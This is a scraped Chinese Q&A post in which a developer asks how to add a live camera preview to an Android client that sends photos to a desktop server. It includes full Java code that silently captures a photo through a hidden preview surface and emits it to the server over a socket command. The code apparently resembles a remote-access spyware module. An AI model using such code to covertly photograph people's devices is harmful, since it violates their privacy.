java - 如何将实时相机预览从 Android APK 客户端发送到桌面服务器?
问题描述
目前我正在开发一个使用 Android APK 作为客户端的桌面服务器应用程序,但是我在将我的CameraManager.java文件代码从没有实时相机预览的情况下拍摄照片更改为使用实时相机预览拍摄照片时遇到了一些问题!
我想要一个实时相机预览,用于从Android 客户端拍摄照片并将其发送回我的桌面服务器应用程序,而不仅仅是没有预览的照片!是的,我已经搜索过 Stackoverflow,但没有成功找到解决方案,或者我做错了什么,或者我错过了一些东西。
当我在桌面服务器界面中访问客户端的Android 相机时,我会看到我的, 用于显示没有预览的照片,但是我不再想要这个,因为它不实用,我想要一个实时相机预览,所以我/the用户可以看到我/他们将拍摄的照片。imgHolder.png
我用于启动客户端Android 相机并使用我的CameraManager.java
文件在没有预览的情况下拍摄照片的当前代码如下所示,如果有人知道我可以如何更改它以给我实时相机预览而不是在没有预览的情况下拍摄照片,我会不胜感激。
CameraManager.java code snippet below
public void startUp(int cameraID){
camera = Camera.open(cameraID);
Parameters parameters = camera.getParameters();
camera.setParameters(parameters);
try{
camera.setPreviewTexture(new SurfaceTexture(0));
camera.startPreview();
} catch (Exception e) {
e.printStackTrace();
}
camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
releaseCamera();
sendPhoto(data);
}
});
}
Full CameraManager.java code Below
package com.mine.king.myapp;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.SurfaceTexture;
import android.hardware.Camera;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.Parameters;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
public class CameraManager {
private Context context ;
private Camera camera;
public CameraManager(Context context) {
this.context = context;
}
public void startUp(int cameraID){
camera = Camera.open(cameraID);
Parameters parameters = camera.getParameters();
camera.setParameters(parameters);
try{
camera.setPreviewTexture(new SurfaceTexture(0));
camera.startPreview();
} catch (Exception e) {
e.printStackTrace();
}
camera.takePicture(null, null, new PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
releaseCamera();
sendPhoto(data);
}
});
}
private void sendPhoto(byte [] data){
try {
Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
JSONObject object = new JSONObject();
object.put("image",true);
object.put("buffer" , bos.toByteArray());
IOSocket.getInstance().getIoSocket().emit("x0000ca" , object);
} catch (JSONException e) {
e.printStackTrace();
}
}
private void releaseCamera(){
if (camera != null) {
camera.stopPreview();
camera.release();
camera = null;
}
}
public JSONObject findCameraList() {
if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
return null;
}
try {
JSONObject cameras = new JSONObject();
JSONArray list = new JSONArray();
cameras.put("camList",true);
// Search for available cameras
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++) {
Camera.CameraInfo info = new Camera.CameraInfo();
Camera.getCameraInfo(i, info);
if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
JSONObject jo = new JSONObject();
jo.put("name", "Front");
jo.put("id", i);
list.put(jo);
}
else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
JSONObject jo = new JSONObject();
jo.put("name", "Back");
jo.put("id", i);
list.put(jo);
}
else {
JSONObject jo = new JSONObject();
jo.put("name", "Other");
jo.put("id", i);
list.put(jo);
}
}
cameras.put("list" , list);
return cameras;
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
}
对此问题的任何帮助将不胜感激,
解决方案
推荐阅读
- r - 如何通过匹配多个观察值来对变量进行质量控制
- amazon-redshift - 如何在 Redshift SQL 中使用窗口函数
- java - 从firebase android查询项目后,我无法将项目添加到HashMap
- asp.net-core - 无法将对象列表发布到 Web api
- javascript - 我如何使用 jquery 的 .append 仅附加文本而不转换为 html
- html - 如何在 MVC 5 View 的 html 表格标题中减少文本上方和下方的空间
- css - 无法使用 CSS 删除 Sharepoint Web 中工具栏上的按钮
- arrays - JSONata - 基于共享值删除数组中的重复对象
- android - 为什么 Navigation Drawer 项目模板 (Studio 3.6.1) 不能在 Android Nougat 上加载正确的控制器?
- c++ - 添加新数据时如何保留文件中的旧数据